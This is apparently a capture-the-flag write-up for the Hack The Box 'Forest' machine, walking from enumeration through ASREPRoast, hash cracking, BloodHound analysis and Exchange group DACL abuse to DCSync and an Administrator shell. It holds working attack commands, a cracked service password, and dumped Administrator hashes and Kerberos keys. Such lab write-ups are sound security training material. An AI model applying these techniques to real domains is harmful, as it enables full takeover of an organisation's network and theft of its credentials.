We can apply a little filter to the forest.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Thu Sep 25 15:46:32 2025 as: nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49670,49676,49677,49684,49698,60285 -sCV -n -Pn --disable-arp-ping -oN forest.targeted 10.129.95.210Nmap scan report for 10.129.95.210Host is up (0.11s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-25 13:53:43Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found9389/tcp open mc-nmf .NET Message Framing47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49664/tcp open msrpc Microsoft Windows RPC49665/tcp open msrpc Microsoft Windows RPC49666/tcp open msrpc Microsoft Windows RPC49668/tcp open msrpc Microsoft Windows RPC49670/tcp closed unknown49676/tcp closed unknown49677/tcp closed unknown49684/tcp closed unknown49698/tcp closed unknown60285/tcp closed unknownService Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb-security-mode:| account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: required| smb2-security-mode:| 3:1:1:|_ Message signing enabled and required|_clock-skew: mean: 2h27m05s, deviation: 4h02m32s, median: 7m03s| smb-os-discovery:| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)| Computer name: FOREST| NetBIOS computer name: FOREST\x00| Domain name: htb.local| Forest name: htb.local| FQDN: FOREST.htb.local|_ System time: 2025-09-25T06:54:37-07:00| smb2-time:| date: 2025-09-25T13:54:34|_ start_date: 2025-09-25T13:50:16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Thu Sep 25 15:47:41 2025 -- 1 IP address (1 host up) scanned in 69.37 seconds
139, 445 - SMB
Based on the ports the host has opened, we can nearly ensure that we are facing a DC (Domain Controller)
Therefore, let’s gather some information about the target
nxc smb 10.129.95.210
Command Output
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
In the above command we have extracted the host name, the installed OS Version, the domain name and relevant information such as the state of the SMB Signing security mechanism on the SMB Server and if it supports SMBv1
By default, SMB signing is enabled on DCs, this ensures that an operator cannot perform an SMB relay to the DC in order to authenticate as the victim
Since our target may be a WS 2016, we should know that PKINIT Key Trust authentication is supported as of that version, which means an operator could carry out action such as a Shadow Credentials attack through DACL Abuse or a NTLM/Kerberos relay attack
For the time being, let’s add an entry on the /etc/hosts file related to the target’s name and the domain
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)SMB 10.129.95.210 445 FOREST [-] htb.local\guest: STATUS_ACCOUNT_DISABLED
But we get nothing though
An ACCESS_DENIED error in NULL Authentication
An STATUS_LOGON_FAILURE error as the user we tried does not exist
An STATUS_ACCOUNT_DISABLED as the guest account is disabled by default
For the time being, we cannot do anymore here, let’s move on
53 - DNS
If we had valid domain credentials, we could use tools such as adidnsdump to list all the existent records on the DNS Zone related to the domain
Doing so works as any domain user has read access on the child objects of the Domain DNS Zone i.e. all the existent DNS records
However, we currently know that the domain is htb.local, so we could try a DNS Zone transfer against the DC in order to dump all the DNS records
This cannot be carried out by default, but we will try it as follows
dig axfr htb.local @10.129.95.210
Command Output
; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> axfr htb.local @10.129.95.210;; global options: +cmd; Transfer failed.
But the transfer fails…
88 - Kerberos
In order to perform some kerberos-related attacks such as kerberoasting or asreproast attack, at least it is necessary to have a list with valid users
A solid userlist could be created with ease using some passive or active methods
In this case, since this time we are facing a HTB machine, there is no external data we can gather through OSINT, so an operator could use tools such as kerbrute in order to enumerate valid users according to some Kerberos builting errors
And we found that the following usernames correspond to valid domain user accounts
markandysebastienlucindasanti
With the above data, we can carry out an ASREPRoast attack to check if any of those user accounts have the USER_DONT_RE_PREAUTH flag enabled in the User Account Control attribute
But before that, let’s check if we can gather more information
135 - RPC
On this port is listening the RPC Endpoint Mapper, whose purpose is to map any available RPC Endpoint to a certain dynamic port or namedpipe
We can use a tool such as rpcclient to try to authenticate to the DC without any valid credentials
As mentioned, an operator with a list of valid user accounts belonging to the domain can perform this type of attack using an impacket tool called GetNPUsers.py
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailboxfc9daad doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailboxc0a90c9 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox670628e doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox968e74d doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox6ded678 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox83d6781 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailboxfd87238 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailboxb01ac64 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox7108a4e doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User HealthMailbox0659cc1 doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$svc-alfresco@HTB.LOCAL:c6575f81a28197e9d40683a9c88177eb$65b465d2733b6b40cfb70d321a516a9632ec774bf78b4ef01c1f9f75d462906b942772e41fe69a30c1c3899f9a8e14074cba336382d62926b3127e66c1d5713e6ccf612eea015bf80c35f305da2a61745de8ace229b7dbc285b3fb7c22e3ecc3e4a12fccf812835d1efa760e66181394cf3334c9e17427c32e2f2798c5ac1ee23ab1a54586d3bd5574e0c26bbeee722b6d22ff51f40fbf968fd0a5baeac95e9d1ba9b95f33aef889be321ac9b250fa1f0e8d7e4038e69d8ff7a41119fb87ee931217d094976f0f2a9a473733067b31806cc3cf501532318030e1aa36564ddbbf4b70ce588945[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
And we have a match related to svc-alfresco user account
As we indicated an output file on the above command, we can pass the file containing the crackeable hash to hashcat
In this case, the hash type for the provided hash is 18200. However, remember that anyone can use the following command to search for an specific hash type
SMB 10.129.95.210 445 FOREST [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)SMB 10.129.95.210 445 FOREST [+] htb.local\svc-alfresco:s3rvice
Recon #2
Once we have valid domain credentials, as is the case, the game begins 😈
Before deploying Bloodhound, let’s use ldapdomaindump to extract all the relevant information about the domain such as users, groups, GPOs, computers and so on
[*] Connecting to host...[*] Binding to host[+] Bind OK[*] Starting domain dump[+] Domain dump finished
Next, build an HTTP Server as follows and browse the data
python3 -m http.server 80
Zoom in
The interesting part lies on the domain_users_by_group.html file
Let’s link the data in order to look for any possible privesc vector
SVC-Alfresco user account belongs to the Service Accounts Group
Service Accounts group belongs to Privileged IT Accounts
Zoom in
Zoom in
Privileged IT Accounts group is member of Remote Management Users and Accounts Operators groups
This tells us many things
First, we can establish a WinRM Session via Powershell Remoting (MS-PSRP) using evil-winrm as svc-alfresco belongs indirectly to RMU and Account Operators groups due to nested group membership
Members of both groups are allowed to establish a remote connection via WinRM with the Domain Controller
Next, since we belong to the Accounts Operators group, we are able to create any user account and manage most of the groups membership, except for high privilege user and groups such as →
Group
Domain Admins
Schema Admins
Enterprise Admins
Server Operators
Account Operators
Backup Operators
Print Operators
So, we cannot directly add a user that we create to those privileged groups, which would be an easy win
But, an attacker can leverage certain groups for privilege scalation
One of these groups is the DNS Admins
Another group, if Exchange installed, is the Exchange Windows Permissions group
In this case, it seems that Microsoft Exchange was deployed ealier on this DC, so we can proceed as follows
It is known that most of the Exchange groups created on an AD environment have certain privileges on the domain object and so on
By default, Exchange Windows Permissions group has WriteDACL right over the Domain Object, identified as “dc=local,dc=htb”
Therefore, an attacker who controls a user account belonging to that group could grant itself FullControl or DCSync-related rights over the domain, compromising it entirely
This privesc vector can easily be extracted from Bloodhound
cd !$ wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz && ./bloodhound-cli install
After this, all the necessary bloodhound-related docker containers are deployed and ready to be used
docker ps --all
Command Output
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESca5dcff7222c specterops/bloodhound:latest "/bloodhound -config…" About a minute ago Up 55 seconds 127.0.0.1:8080->8080/tcp bloodhound-bloodhound-1c9ddb9fe4323 postgres:16 "docker-entrypoint.s…" About a minute ago Up About a minute (healthy) 5432/tcp bloodhound-app-db-1f5caec4e5ccf neo4j:4.4 "tini -g -- /startup…" About a minute ago Up About a minute (healthy) 127.0.0.1:7474->7474/tcp, 7473/tcp, 127.0.0.1:7687->7687/tcp bloodhound-graph-db-1
As is already known, the Bloodhound framework needs certain data to be ingested in order to start building relationships between domain objects and so on
So first, it is necessary to run either Sharphound from the target or Bloodhound.py remotely
This time, we will try the second option
As we have deployed Bloodhound CE, it is necessary to change to the Bloodhound CE branch after cloning Bloodhound.py repository
INFO: BloodHound.py for BloodHound Community EditionINFO: Found AD domain: htb.localINFO: Getting TGT for userINFO: Connecting to LDAP server: forest.htb.localINFO: Testing resolved hostname connectivity dead:beef::27INFO: Trying LDAP connection to dead:beef::27INFO: Testing resolved hostname connectivity dead:beef::5c08:2bfc:dbfd:a769INFO: Trying LDAP connection to dead:beef::5c08:2bfc:dbfd:a769WARNING: Kerberos auth to LDAP failed, trying NTLMINFO: Found 1 domainsINFO: Found 1 domains in the forestINFO: Found 2 computersINFO: Connecting to LDAP server: forest.htb.localINFO: Testing resolved hostname connectivity dead:beef::27INFO: Trying LDAP connection to dead:beef::27INFO: Testing resolved hostname connectivity dead:beef::5c08:2bfc:dbfd:a769INFO: Trying LDAP connection to dead:beef::5c08:2bfc:dbfd:a769WARNING: Kerberos auth to LDAP failed, trying NTLMINFO: Found 32 usersINFO: Found 76 groupsINFO: Found 2 gposINFO: Found 15 ousINFO: Found 20 containersINFO: Found 0 trustsINFO: Starting computer enumeration with 10 workersINFO: Querying computer: EXCH01.htb.localINFO: Querying computer: FOREST.htb.localINFO: Done in 00M 21SINFO: Compressing output into 20250925193402_bloodhound.zip
Then, just upload the created zip file to Bloodhound CE
Zoom in
Once there, mark the SVC-Alfresco user account as owned and run a Saved Query such as Shortest path to Domain Admin
Zoom in
The workflow here would be →
SVC-Alfresco (User) → Service Accounts (Group) → Privileged IT Accounts (Group) → Account Operators (Group) → Exchange Windows Permissions (Group) → HTB.local (Domain)
Privesc
Initial Non-Privileged User → svc-alfresco
DCSync via DACL Abuse leveraging Nested Group Membership (Exchange Groups)
From Linux
From the attacker ⚔️
As mentioned, SVC-Alfresco user is member of the Account Operators domain-builtin group. Therefore, we authenticate as this user to the domain in order to create a new user account
This time we have the domain account password, so we can use the Samba Suite Net Tool. However, if an attacker only has its NT hash, the following task can be accomplished using pth-toolkit
net rpc user add '4l3xbb' '4l3xbb' -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'
Next, we need to add the created user account to the Exchange Windows Permissions group in order to have WriteDACL rights over the Domain Object i.e. htb.local
net rpc group addmem "Exchange Windows Permissions" "4l3xbb" -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'
The membership of the user account on the above Exchange group can be as follows
net rpc group members 'Exchange Windows Permissions' -U 'htb.local/svc-alfresco%s3rvice' -S 'forest.htb.local'
Command Output
HTB\Exchange Trusted SubsystemHTB\4l3xbb
After that, we perform DACL Abuse by granting ourselves with DCSync rights over the domain object
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretshtb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::[*] Kerberos keys grabbedhtb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375htb.local\Administrator:des-cbc-md5:c1e049c71f57343b[*] Cleaning up...
Once the above attack is performed, it is recommended to carry out a DACL cleanup by removing the DCSync rights assigned to the created user account
[*] DACL backed up to dacledit-20250928-154712.bak[*] DACL modified successfully!
And that’s all, use the above NT Hash or AES Keys to perform PtH or PtK and establish a remote connection to the DC as the Administrator user through WinRM
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents>*Evil-WinRM* PS C:\Users\Administrator\Documents> whoamihtb\administrator*Evil-WinRM* PS C:\Users\Administrator\Documents>
Due to OPSEC reasons, we will create the user account and add it to the Exchange Windows Permissions group using Powerview instead of the net.exe utility from Windows
In order to use all functionality provided by Powerview on the target, just establish a remote session via WinRM as SVC-Alfresco to the target and download the script from there
From here, an actor could use secretsdump.py in order to dump all domain credentials remotely or upload a mimikatz.exe binary to the DCto carry out the same action
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretshtb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::[*] Kerberos keys grabbedhtb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375htb.local\Administrator:des-cbc-md5:c1e049c71f57343b[*] Cleaning up...